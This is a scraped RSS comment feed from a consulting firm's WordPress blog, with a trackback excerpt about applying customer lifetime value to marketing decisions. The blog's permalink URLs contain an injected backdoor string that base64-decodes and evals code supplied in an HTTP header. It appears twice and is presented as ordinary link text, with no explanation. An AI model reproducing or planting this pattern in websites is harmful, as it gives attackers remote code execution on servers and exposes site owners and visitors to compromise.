http://mapconsultingllc.com/blog/2008/04/14/is-ltv-the-first-step-in-my-marketing-plan/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Quo vadis? Direct Response That Gets Results Thu, 14 Aug 2008 14:16:19 -0400 http://wordpress.org/?v=2.9.2 hourly 1 http://mapconsultingllc.com/blog/2008/04/14/is-ltv-the-first-step-in-my-marketing-plan/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-22 Incremental Marketing Investments--Improving Your Performance : MAP Consulting, LLC Wed, 06 Aug 2008 15:07:15 +0000 http://mapconsultingllc.com/blog/2008/04/14/is-ltv-the-first-step-in-my-marketing-plan/#comment-22 [...] I was reading it, I started to think about applying LTV to the methodology.  When you think about making decisions based on LTV, the story becomes even [...] [...] I was reading it, I started to think about applying LTV to the methodology.  When you think about making decisions based on LTV, the story becomes even [...]

]]>